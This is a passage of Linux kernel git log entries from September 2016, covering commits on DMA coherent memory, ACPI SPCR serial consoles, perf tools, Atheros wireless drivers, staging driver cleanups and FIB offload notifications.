Sep 28 08:51:57 2016 +0100 drivers: dma-coherent: Move spinlock in dma_alloc_from_coherent() We don't need to hold the spinlock while zeroing the allocated memory. In case we handle big buffers this is a severe issue as other CPUs might be spinning half a second or longer. Signed-off-by: Bastian Hecht Signed-off-by: George G. Davis Signed-off-by: Mark Craske Signed-off-by: Greg Kroah-Hartman drivers/base/dma-coherent.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 9ca5d4fd08d1c560a46ff649221a891065039891 Author: George G. Davis Date: Wed Sep 28 08:51:56 2016 +0100 drivers: dma-coherent: Fix DMA coherent size for less than page We fix a bug in dma_mmap_from_coherent() that appears when we map non page aligned DMA memory. It cuts off the non aligned part (this is different to dma_alloc_coherent() that always rounds up to full pages). So for mappings of less than a page we get -ENXIO as dma_mmap_from_coherent() assumes we want to map zero pages. Signed-off-by: George G. Davis Signed-off-by: Jiada Wang Signed-off-by: Mark Craske Signed-off-by: Greg Kroah-Hartman drivers/base/dma-coherent.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8b8f347d3a4859d22567f3b8e5bb4a69b1089739 Author: Aleksey Makarov Date: Tue Sep 27 23:54:15 2016 +0300 serial: pl011: add console matching function This patch adds function pl011_console_match() that implements method match of struct console. It allows to match consoles against data specified in a string, for example taken from command line or compiled by ACPI SPCR table handler. Signed-off-by: Aleksey Makarov Reviewed-by: Peter Hurley Acked-by: Russell King Tested-by: Christopher Covington Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 55 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) commit 888125a712986fd0fab99d09f42b307de32d740c Author: Aleksey Makarov Date: Tue Sep 27 23:54:14 2016 +0300 ARM64: ACPI: enable ACPI_SPCR_TABLE SBBR mentions SPCR as a mandatory ACPI table. So enable it for ARM64 Earlycon should be set up as early as possible. ACPI boot tables are mapped in arch/arm64/kernel/acpi.c:acpi_boot_table_init() that is called from setup_arch() and that's where we parse SPCR. So it has to be opted-in per-arch. When ACPI_SPCR_TABLE is defined initialization of DT earlycon is deferred until the DT/ACPI decision is done. Initialize DT earlycon if ACPI is disabled. Acked-by: Will Deacon Acked-by: Hanjun Guo Signed-off-by: Aleksey Makarov Tested-by: Kefeng Wang Tested-by: Christopher Covington Signed-off-by: Greg Kroah-Hartman arch/arm64/Kconfig | 1 + arch/arm64/kernel/acpi.c | 11 ++++++++++- 2 files changed, 11 insertions(+), 1 deletion(-) commit ad1696f6f09daacfdf2bf04bc83cd8f48d80e34a Author: Aleksey Makarov Date: Tue Sep 27 23:54:13 2016 +0300 ACPI: parse SPCR and enable matching console 'ARM Server Base Boot Requiremets' [1] mentions SPCR (Serial Port Console Redirection Table) [2] as a mandatory ACPI table that specifies the configuration of serial console. Defer initialization of DT earlycon until ACPI/DT decision is made. Parse the ACPI SPCR table, setup earlycon if required, enable specified console. Thanks to Peter Hurley for explaining how this should work. [1] http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.den0044a/index.html [2] https://msdn.microsoft.com/en-us/library/windows/hardware/dn639132(v=vs.85).aspx Signed-off-by: Aleksey Makarov Acked-by: Rafael J. Wysocki Reviewed-by: Peter Hurley Tested-by: Kefeng Wang Tested-by: Christopher Covington Signed-off-by: Greg Kroah-Hartman drivers/acpi/Kconfig | 3 ++ drivers/acpi/Makefile | 1 + drivers/acpi/spcr.c | 111 ++++++++++++++++++++++++++++++++++++++++++ drivers/tty/serial/earlycon.c | 19 +++++++- include/linux/acpi.h | 6 +++ include/linux/serial_core.h | 9 +++- 6 files changed, 146 insertions(+), 3 deletions(-) commit d503187b6cc4e41c21c02e695e0e7b5acdd066de Author: Leif Lindholm Date: Tue Sep 27 23:54:12 2016 +0300 of/serial: move earlycon early_param handling to serial We have multiple "earlycon" early_param handlers - merge the DT one into the main earlycon one. It's a cleanup that also will be useful to defer setting up DT console until ACPI/DT decision is made. Rename the exported function to avoid clashing with the function from arch/microblaze/kernel/prom.c Signed-off-by: Leif Lindholm Signed-off-by: Aleksey Makarov Acked-by: Rob Herring Acked-by: Greg Kroah-Hartman Reviewed-by: Peter Hurley Tested-by: Kefeng Wang Tested-by: Christopher Covington Signed-off-by: Greg Kroah-Hartman drivers/of/fdt.c | 11 +---------- drivers/tty/serial/earlycon.c | 2 +- include/linux/of_fdt.h | 3 +++ 3 files changed, 5 insertions(+), 11 deletions(-) commit f2c8852e6e990fcab0d9e68de9d86e5fbea0b5dc Author: Wang Nan Date: Wed Sep 28 03:58:46 2016 +0000 perf data: Fix building in 32 bit platform with libbabeltrace On ARM32 building it report following error when we build with libbabeltrace: util/data-convert-bt.c: In function 'add_bpf_output_values': util/data-convert-bt.c:440:3: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'unsigned int' [-Werror=format] cc1: all warnings being treated as errors Fix it by changing %lu to %zu. Signed-off-by: Wang Nan Cc: Jiri Olsa Cc: Zefan Li Cc: pi3orama@163.com Fixes: 6122d57e9f7c ("perf data: Support converting data from bpf_perf_event_output()") Link: http://lkml.kernel.org/r/1475035126-146587-1-git-send-email-wangnan0@huawei.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/data-convert-bt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 15b95a15950238eff4d7f24be1716086eea67835 Merge: ffd74ac b930150 Author: Kalle Valo Date: Wed Sep 28 16:37:33 2016 +0300 Merge ath-next from git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/ath.git ath.git patches for 4.9. Major changes: ath9k * disable RNG by default commit 973186ca7fe94d770a9847d7d530864de6ab638b Author: Adrian Hunter Date: Fri Sep 23 17:38:34 2016 +0300 perf tools: Fix MMAP event synthesis broken by MAP_HUGETLB change Patch "perf record: Mark MAP_HUGETLB when synthesizing mmap events") breaks MMAP event synthesis. The executable name comparison will match any name if the length is zero, resulting in all the user space maps becoming anonymous. This is particularly noticeable with system-wide traces. Example: perf record -a sleep 1 perf script --show-mmap-events Committer note: That is not the case when, say, one has a qemu instance and libvirt actually mounts hugetlbfs. To test this I had to first umount it: [root@jouet ~]# mount | grep hugetlbfs hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,seclabel) [root@jouet ~]# After unmount it the error fixed by this patch manifests itself: # perf record -a sleep 1 # perf script --show-mmap-events | grep PERF_RECORD_MMAP2 | head -5 systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x557d47ed8000(0x167000) @ 0 fd:00 3146896 7362875424355726126]: r-xp //anon systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c488d000(0x4000) @ 0 fd:00 3153214 7362875424355726126]: r-xp //anon systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c4a92000(0x3d000) @ 0 fd:00 3159276 7362875424355726126]: r-xp //anon systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c4cd5000(0x15000) @ 0 fd:00 3153725 7362875424355726126]: r-xp //anon systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c4eeb000(0x25000) @ 0 fd:00 3153260 7362875424355726126]: r-xp //anon # Fixed version: # perf record -a sleep 1 [ perf record: Woken up 1 times to write data ] [ perf record: Captured and wrote 1.419 MB perf.data (182 samples) ] # perf script --show-mmap-events | grep PERF_RECORD_MMAP2 | head -5 systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x557d47ed8000(0x167000) @ 0 fd:00 3146896 7362875424355726126]: r-xp /usr/lib/systemd/systemd systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c488d000(0x4000) @ 0 fd:00 3153214 7362875424355726126]: r-xp /usr/lib64/libuuid.so.1.3.0 systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c4a92000(0x3d000) @ 0 fd:00 3159276 7362875424355726126]: r-xp /usr/lib64/libblkid.so.1.1.0 systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c4cd5000(0x15000) @ 0 fd:00 3153725 7362875424355726126]: r-xp /usr/lib64/libz.so.1.2.8 systemd 0 [000] 0.000000: PERF_RECORD_MMAP2 1/1: [0x7f96c4eeb000(0x25000) @ 0 fd:00 3153260 7362875424355726126]: r-xp /usr/lib64/liblzma.so.5.2.2 [root@jouet ~]# Signed-off-by: Adrian Hunter Tested-by: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-3-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/event.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 3acf3ec3f4b0fd4263989f2e4227bbd1c42b5fe1 Author: Lawrence Brakmo Date: Tue Sep 27 19:03:37 2016 -0700 tcp: Change txhash on every SYN and RTO retransmit The current code changes txhash (flowlables) on every retransmitted SYN/ACK, but only after the 2nd retransmitted SYN and only after tcp_retries1 RTO retransmits. With this patch: 1) txhash is changed with every SYN retransmits 2) txhash is changed with every RTO. The result is that we can start re-routing around failed (or very congested paths) as soon as possible. Otherwise application health checks may fail and the connection may be terminated before we start to change txhash. v4: Removed sysctl, txhash is changed for all RTOs v3: Removed text saying default value of sysctl is 0 (it is 100) v2: Added sysctl documentation and cleaned code Tested with packetdrill tests Signed-off-by: Lawrence Brakmo Signed-off-by: David S. Miller net/ipv4/tcp_timer.c | 4 ++++ 1 file changed, 4 insertions(+) commit ffd74aca44b70a2564da86e8878c1dd296009ffb Author: Jouni Malinen Date: Tue Sep 27 18:42:58 2016 +0300 MAINTAINERS: hostap: Mark the Host AP driver obsolete This is old code for old hardware and it is not really accurate to claim this to be maintained anymore. Change the status to "Obsolete" to make it clearer that minor cleanup and other unnecessary changes from automated tools is not necessarily beneficial and has larger risk of breaking something without being quickly noticed due to lack of testing. In addition, remove the old mailing list that does not work anymore and point the web-page to a more accurate URL. Signed-off-by: Jouni Malinen Signed-off-by: Kalle Valo MAINTAINERS | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit b93015057e31933e1ab600290e014779efe5b5a3 Author: Chaehyun Lim Date: Sun Sep 18 15:30:24 2016 +0900 ath6kl: fix return value in ath6kl_wmi_set_pvb_cmd When building with W=1, we got one warning as belows: drivers/net/wireless/ath/ath6kl/wmi.c:3509:6: warning: variable ‘ret’ set but not used [-Wunused-but-set-variable] At the end of ath6kl_wmi_set_pvb_cmd, it is returned by 0 regardless of return value of ath6kl_wmi_cmd_send. This patch fixes return value from 0 to ret that has result of ath6kl_wmi_cmd_send execution. Signed-off-by: Chaehyun Lim Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath6kl/wmi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 739ccd76b40ed7f2e851b55ae16bdb655cc2ba1d Author: Miaoqing Pan Date: Tue Aug 9 15:02:27 2016 +0800 ath9k: disable RNG by default ath9k RNG will dominates all the noise sources from the real HW RNG, disable it by default. But we strongly recommand to enable it if the system without HW RNG, especially on embedded systems. Signed-off-by: Miaoqing Pan Acked-by: Stephan Mueller Acked-by: Stephan Mueller Reviewed-by: Jason Cooper Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ab21b63e8aedfc73565dd9cdd51eb338341177cb Author: Greg Kroah-Hartman Date: Wed Sep 28 11:48:44 2016 +0200 Revert "usbtmc: convert to devm_kzalloc" This reverts commit e6c7efdcb76f11b04e3d3f71c8d764ab75c9423b. Turns out it was totally wrong. The memory is supposed to be bound to the kref, as the original code was doing correctly, not the device/driver binding as the devm_kzalloc() would cause. This fixes an oops when read would be called after the device was unbound from the driver. Reported-by: Ladislav Michl Cc: Andy Shevchenko Cc: stable # 3.12+ Signed-off-by: Greg Kroah-Hartman drivers/usb/class/usbtmc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0628467f97b5227755428bac10a68257322f7e34 Author: Rajkumar Manoharan Date: Wed Sep 21 16:28:06 2016 +0530 ath10k: fix copy engine 5 destination ring stuck Firmware is running watchdog timer for tracking copy engine ring index and write index. Whenever both indices are stuck at same location for given duration, watchdog will be trigger to assert target. While updating copy engine destination ring write index, driver ensures that write index will not be same as read index by finding delta between these two indices (CE_RING_DELTA). HTT target to host copy engine (CE5) is special case where ring buffers will be reused and delta check is not applied while updating write index. In rare scenario, whenever CE5 ring is full, both indices will be referring same location and this is causing CE ring stuck issue as explained above. This issue is originally reported on IPQ4019 during long hour stress testing and during veriwave max clients testsuites. The same issue is also observed in other chips as well. Fix this by ensuring that write index is one less than read index which means that full ring is available for receiving data. Cc: stable@vger.kernel.org Tested-by: Tamizh chelvam Signed-off-by: Rajkumar Manoharan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ce.c | 7 +++++++ 1 file changed, 7 insertions(+) commit b63b33ecafa5d00edbbb438c7e208392d5f4de23 Author: Mohammed Shafi Shajakhan Date: Tue Sep 20 13:52:07 2016 +0530 ath10k: Ignore SWBA event for a vif if its marked for no beacon Ignore processing further in SWBA event scheduled for a vif, if mac80211 has marked the particular vif for stop beaconing and brought the vdev down in 'ath10k_control_beaconing'. This should potentially avoid ath10k warning/error messages while running continuous wifi down/up with max number of vaps configured. Found this change during code walk through and going through other beacon configuration related functions in ath10k Signed-off-by: Mohammed Shafi Shajakhan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi.c | 6 ++++++ 1 file changed, 6 insertions(+) commit db68f3e7594aca77632d56c449bd36c6c931d59a Author: Mark Rutland Date: Tue Sep 13 11:16:06 2016 +0100 arm64: tlbflush.h: add __tlbi() macro As with dsb() and isb(), add a __tlbi() helper so that we can avoid distracting asm boilerplate every time we want a TLBI. As some TLBI operations take an argument while others do not, some pre-processor is used to handle these two cases with different assembly blocks. The existing tlbflush.h code is moved over to use the helper. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Marc Zyngier [ rename helper to __tlbi, update comment and commit log ] Signed-off-by: Punit Agrawal Reviewed-by: Will Deacon Signed-off-by: Will Deacon arch/arm64/include/asm/tlbflush.h | 34 ++++++++++++++++++++++++++-------- 1 file changed, 26 insertions(+), 8 deletions(-) commit b4b9551e2f467d1a96c324b8a45f9b5b87d2f0fc Author: Kefeng Wang Date: Tue Sep 27 11:57:18 2016 +0800 arm64: Kconfig: remove SMP dependence for NUMA The arm64 forces CONFIG_SMP=y with commit 4b3dc9679cf7, no need to add SMP dependence for NUMA. Signed-off-by: Kefeng Wang Signed-off-by: Will Deacon arch/arm64/Kconfig | 1 - 1 file changed, 1 deletion(-) commit 931eb6b7fee31f63d33fd5e1e62a60375fa6fb32 Author: Wei Yongjun Date: Fri Sep 16 13:05:35 2016 +0000 ath10k: fix error return code in ahb Fix to return a negative error code from the error handling case instead of 0, as done elsewhere in function ath10k_ahb_probe() or ath10k_ahb_resource_init(). Signed-off-by: Wei Yongjun Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ahb.c | 2 ++ 1 file changed, 2 insertions(+) commit 88638cf1a8c352bb47c23adbc36d35cfd6ace5a1 Author: Mark Greer Date: Tue Sep 27 16:34:13 2016 -0700 staging: greybus: Add backup maintainer for Greybus audio Add Mark Greer as the backup maintainer for the Greybus Audio Protocol driver. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 08e1416f9ce89e67bccae388ac85cfd51dcece38 Author: Darryl T. Agostinelli Date: Tue Sep 27 20:51:25 2016 -0500 staging: rtl8192e: fixed use a blank line after function/struct/union/enum declarations fixed use a blank line after function/struct/union/enum declarations Signed-off-by: Darryl T. Agostinelli Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtllib_tx.c | 1 + 1 file changed, 1 insertion(+) commit ff2f3e0e05dfd0af15fec55c2502f1686a6389ce Author: Darryl T. Agostinelli Date: Tue Sep 27 20:51:24 2016 -0500 staging: rtl8192e: fixed statements should start on a tabstop fixed statements should start on a tabstop Signed-off-by: Darryl T. Agostinelli Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtllib_tx.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) commit eb9eb87d0a4281691f3259bd661c5946596c7e51 Author: Darryl T. Agostinelli Date: Tue Sep 27 20:51:23 2016 -0500 staging: rtl8192e: fixed block comments use * on subsequent lines fixed block comments use * on subsequent lines Signed-off-by: Darryl T. Agostinelli Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtllib_tx.c | 54 ++++++++++++++++++------------------ 1 file changed, 27 insertions(+), 27 deletions(-) commit 0c1d83c495d04658c25e5ccc90109dae452fa441 Author: Zach Brown Date: Tue Sep 27 16:51:49 2016 -0500 staging: rtl8712: Change _LED_STATE enum in rtl871x driver to avoid conflicts with LED namespace Adding led support for phy causes namespace conflicts for some phy drivers. The rtl871 driver declared an enum for representing LED states. The enum contains constant LED_OFF which conflicted with declaration found in linux/leds.h. LED_OFF changed to LED_STATE_OFF In order to avoid a possible future collision LED_ON was changed to LED_STATE_ON as well. Signed-off-by: Zach Brown Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_led.c | 388 +++++++++++++++++----------------- 1 file changed, 194 insertions(+), 194 deletions(-) commit 30f9b3fe4da07cab7f1ea5759fd15c482ae65e78 Author: Martin Alonso Date: Tue Sep 27 14:52:48 2016 -0300 staging: vt6656: Remove unused variable 'rx_sts' As suggested by Joe Perches, rx_sts is not used anywhere and could be removed. Signed-off-by: Martin Alonso Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/dpc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 4433459a49a186f8e253d7a2211b188040c8661d Author: Sergio Paracuellos Date: Tue Sep 27 19:39:43 2016 +0200 staging: ks7010: declare private functions static Private functions in ks7010_sdio.c can be declared static. Fixes sparse warnings 'was not declared. Should it be static?'. Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a0cc6bf3eab70c9de1fbaf11cb10ae40619d5ee9 Author: Sergio Paracuellos Date: Tue Sep 27 19:33:53 2016 +0200 staging: wlan-ng: fix line style warnings in p80211netdev.h This patch fixes the following checkpatch.pl warning in p80211netdev.h: WARNING: line over 80 characters Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211netdev.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ae84ee13cbc7ff3826e6a4d185944fd9c7928fcf Author: Sergio Paracuellos Date: Tue Sep 27 19:33:52 2016 +0200 staging: wlan-ng: avoid new typedef: p80211_frmrx_t This patch fixes the following checkpatch.pl warning in p80211netdev.h: WARNING: do not add new typedefs It applies for typedef p80211_frmrx_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211netdev.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 19066982a7ae7ca9570d3271451ba3adc616019e Author: Sergio Paracuellos Date: Tue Sep 27 19:33:51 2016 +0200 staging: wlan-ng: avoid new typedef: netdevice_t This patch fixes the following checkpatch.pl warning in p80211netdev.h: WARNING: do not add new typedefs It applies for typedef netdevice_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211conv.c | 2 +- drivers/staging/wlan-ng/p80211netdev.c | 38 +++++++++++++++++----------------- drivers/staging/wlan-ng/p80211netdev.h | 9 +++----- drivers/staging/wlan-ng/prism2sta.c | 6 ++++-- 4 files changed, 27 insertions(+), 28 deletions(-) commit bfc2cc0217140fce1b3ef130a1e5fd56899b5baa Author: Tim Sell Date: Tue Sep 27 14:42:23 2016 -0400 staging: unisys: visorbus: fix typos with client_bus_info /sys entry Example corrected output: $ pwd /sys/bus/visorbus/devices/visorbus1 $ cat client_bus_info Client device / client driver info for s-Par Console partition (vbus #1): chipset visorchipset kernel ver. 4.8.0-rc6-ARCH+ clientbus visorbus kernel ver. 4.8.0-rc6-ARCH+ [2]keyboard visorinput kernel ver. 4.8.0-rc6-ARCH+ [3]mouse visorinput kernel ver. 4.8.0-rc6-ARCH+ $ cat ../visorbus2/client_bus_info Client device / client driver info for s-Par IOVM partition (vbus #2): chipset visorchipset kernel ver. 4.8.0-rc6-ARCH+ clientbus visorbus kernel ver. 4.8.0-rc6-ARCH+ [0]ultravnic visornic kernel ver. 4.8.0-rc6-ARCH+ [1]ultravnic visornic kernel ver. 4.8.0-rc6-ARCH+ [2]sparvhba visorhba kernel ver. 4.8.0-rc6-ARCH+ Signed-off-by: Tim Sell Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5990b39e26db1126f475f94ea78fe07ea3782e28 Author: Tim Sell Date: Tue Sep 27 14:42:22 2016 -0400 staging: unisys: visorbus: fix vbus info generated for s-Par livedumps Previously, the lines describing devices controlled by the visorinput, visornic, and visorhba drivers (keyboard, mouse, ultravnic, sparvhba) would be missing from the vbus channel header. This is important info that is collected as part of s-Par livedumps, and can be examined via /sys/bus/visorbus/devices/visorbus/client_bus_info, e.g.: $ pwd /sys/bus/visorbus/devices $ cat visorbus1/client_bus_info Client device / client driver info for s-Par Console eartition (vbus #4294967295): chipset visorchipset kernel ver. 4.8.0-rc6-ARCH+ clientbus visorbus kernel ver. 4.8.0-rc6-ARCH+ -> [2]keyboard visorinput kernel ver. 4.8.0-rc6-ARCH+ -> [3]mouse visorinput kernel ver. 4.8.0-rc6-ARCH+ $ cat visorbus2/client_bus_info Client device / client driver info for s-Par IOVM eartition (vbus #4294967295): chipset visorchipset kernel ver. 4.8.0-rc6-ARCH+ clientbus visorbus kernel ver. 4.8.0-rc6-ARCH+ -> [0]ultravnic visornic kernel ver. 4.8.0-rc6-ARCH+ -> [1]ultravnic visornic kernel ver. 4.8.0-rc6-ARCH+ -> [2]sparvhba visorhba kernel ver. 4.8.0-rc6-ARCH+ Signed-off-by: Tim Sell Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit f7a34ff7c04527776a93683f4ac4bf92e9e778a5 Author: Tim Sell Date: Tue Sep 27 14:42:21 2016 -0400 staging: unisys: visorbus: fix sloppy unsigned/signed int conversions Several implicit unsigned --> signed int conversions were corrected. No runtime effects were observed here, nevertheless implicit conversions between integral types can lead to unexpected behavior. Signed-off-by: Tim Sell Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit fa5effe7664b1606dfd639dff58686f6dbb119d7 Author: Hadar Hen Zion Date: Tue Sep 27 11:09:51 2016 +0300 net/sched: pkt_cls: change tc actions order to be as the user sets Currently the created tc actions list is reversed against the order set by the user. Change the actions list order to be the same as was set by the user. This patch doesn't affect dump actions behavior. For dumping, action->order parameter is used so the list order doesn't matter. Signed-off-by: Hadar Hen Zion Acked-by: Jamal Hadi Salim Acked-by: Cong Wang Signed-off-by: David S. Miller include/net/pkt_cls.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c099ff3cdb9dd2281dee3dc4ef89fec1c516df22 Author: Sergei Shtylyov Date: Tue Sep 27 01:23:26 2016 +0300 sh_eth: add R8A7743/5 support Add support for the first two members of the Renesas RZ/G family, RZ/G1M/E (also known as R8A7743/5). The Ether core is the same as in the R-Car gen2 SoCs, so will share the code/data with them... Signed-off-by: Sergei Shtylyov Acked-by: Geert Uytterhoeven Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/sh_eth.txt | 2 ++ drivers/net/ethernet/renesas/Kconfig | 2 +- drivers/net/ethernet/renesas/sh_eth.c | 2 ++ 3 files changed, 5 insertions(+), 1 deletion(-) commit 9c5982fe260a28e84d167e894123dc342e76c39f Merge: eb523f4 fd41b0e Author: David S. Miller Date: Wed Sep 28 04:48:20 2016 -0400 Merge branch 'fib-offload-notifications' Jiri Pirko says: ==================== fib offload: switch to notifier The goal of this patchset is to allow driver to propagate all prefixes configured in kernel down HW. This is necessary for routing to work as expected. If we don't do that HW might forward prefixes known to kernel incorrectly. Take an example when default route is set in switch HW and there is an IP address set on a management (non-switch) port. Currently, only FIB entries related to the switch port netdev are offloaded using switchdev ops. This model is not extendable so the first patch introduces a replacement: notifier to propagate FIB entry additions and removals to whoever is interested. The second patch introduces couple of helpers to deal with RTNH_F_OFFLOAD flags. Currently it is set in switchdev core. There the assumption is that only one offload device exists. But for FIB notifier, we assume multiple offload devices. So the patch introduces a per FIB entry reference counter and helpers use it in order to achieve this: 0 means RTNH_F_OFFLOAD is not set, no device offloads this entry n means RTNH_F_OFFLOAD is set and the entry is offloaded by n devices Patches 3 and 4 convert mlxsw and rocker to adopt this new way, registering one notifier block for each asic instance. Both of these patches also implement internal "abort" mechanism. Using switchdev ops, "abort" is called by switchdev core whenever there is an error during FIB entry add offload. This leads to removal of all offloaded entries on system by fib_trie code. Now the new notifier assumes the driver takes care of the abort action. Here's why: 1) The fact that one HW cannot offload an entry does not mean that the others can't do it. So let only one entity to abort and leave the rest to work happily. 2) The driver knows what to in order to properly abort. For example, currently abort is broken for mlxsw, as for Spectrum there is a need to set 0.0.0.0/0 trap in RALUE register. The fifth patch removes the old, no longer used FIB offload infrastructure. The last patch reflects the changes into switchdev documentation file. --- v2->v3: -patch 3/6 -fixed offload inc/dec to be done in fib4_entry_init/fini and only in case !trap as suggested by Ido v1->v2: -patch 3/6: -fixed lpm tree setup and binding for abort and pointed out by Ido -do nexthop checks as suggested by Ido -fix use after free during abort -patch 6/6: -fixed texts as suggested by Ido ==================== Signed-off-by: David S. Miller commit fd41b0eaa06a8a0516f9e0b0a5889035bf423784 Author: Jiri Pirko Date: Mon Sep 26 12:52:34 2016 +0200 doc: update switchdev L3 section This is to reflect the change of FIB offload infrastructure from switchdev objects to FIB notifier. Signed-off-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: David S. Miller Documentation/networking/switchdev.txt | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) commit 347e3b28c1ba24c1ae2f30290d8247480ab9ce14 Author: Jiri Pirko Date: Mon Sep 26 12:52:33 2016 +0200 switchdev: remove FIB offload infrastructure Since this is now taken care of by FIB notifier, remove the code, with all unused dependencies. Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller include/net/ip_fib.h | 2 - include/net/switchdev.h | 40 ---------- net/ipv4/fib_frontend.c | 13 ---- net/ipv4/fib_rules.c | 2 - net/ipv4/fib_trie.c | 104 +------------------------- net/switchdev/switchdev.c | 181 ---------------------------------------------- 6 files changed, 1 insertion(+), 341 deletions(-) commit 936bd486564aa3edb52313aa7c2e7381e0bcaba3 Author: Jiri Pirko Date: Mon Sep 26 12:52:32 2016 +0200 rocker: use FIB notifications instead of switchdev calls Until now, in order to offload a FIB entry to HW we use switchdev op. Use the newly introduced FIB notifier infrasturucture to process FIB entries to offload the in HW. Abort mechanism is now handled within the rocker driver. Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/rocker/rocker.h | 15 ++-- drivers/net/ethernet/rocker/rocker_main.c | 120 +++++++++++++++++++++-------- drivers/net/ethernet/rocker/rocker_ofdpa.c | 115 ++++++++++++++++++++------- 3 files changed, 185 insertions(+), 65 deletions(-) commit b45f64d16d456fde027a220cc62d6b4cc315f97b Author: Jiri Pirko Date: Mon Sep 26 12:52:31 2016 +0200 mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls Until now, in order to offload a FIB entry to HW we use switchdev op. However that has limits. Mainly in case we need to make the HW aware of all route prefixes configured in kernel. HW needs to know those in order to properly trap appropriate packets and pass the to kernel to do the forwarding. Abort mechanism is now handled within the mlxsw driver. Signed-off-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 9 +- .../net/ethernet/mellanox/mlxsw/spectrum_router.c | 437 ++++++++++++--------- .../ethernet/mellanox/mlxsw/spectrum_switchdev.c | 9 - 3 files changed, 260 insertions(+), 195 deletions(-) commit c98501879b1b1af90c7325574f2672e9efca592c Author: Jiri Pirko Date: Mon Sep 26 12:52:30 2016 +0200 fib: introduce FIB info offload flag helpers These helpers are to be used in case someone offloads the FIB entry. The result is that if the entry is offloaded to at least one device, the offload flag is set. Signed-off-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: David S. Miller include/net/ip_fib.h | 13 +++++++++++++ net/switchdev/switchdev.c | 4 ++-- 2 files changed, 15 insertions(+), 2 deletions(-) commit b90eb754949931b2e4481b1df9a03f84d4be66ba Author: Jiri Pirko Date: Mon Sep 26 12:52:29 2016 +0200 fib: introduce FIB notification infrastructure This allows to pass information about added/deleted FIB entries/rules to whoever is interested. This is done in a very similar way as devinet notifies address additions/removals. Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller include/net/ip_fib.h | 34 ++++++++++++++++++++++++--- net/ipv4/fib_frontend.c | 16 ++++++------- net/ipv4/fib_rules.c | 10 ++++++++ net/ipv4/fib_trie.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++--- 4 files changed, 108 insertions(+), 14 deletions(-) commit 871f8bf0c477ef20ac1457bb241416d7d8749732 Author: Colin Ian 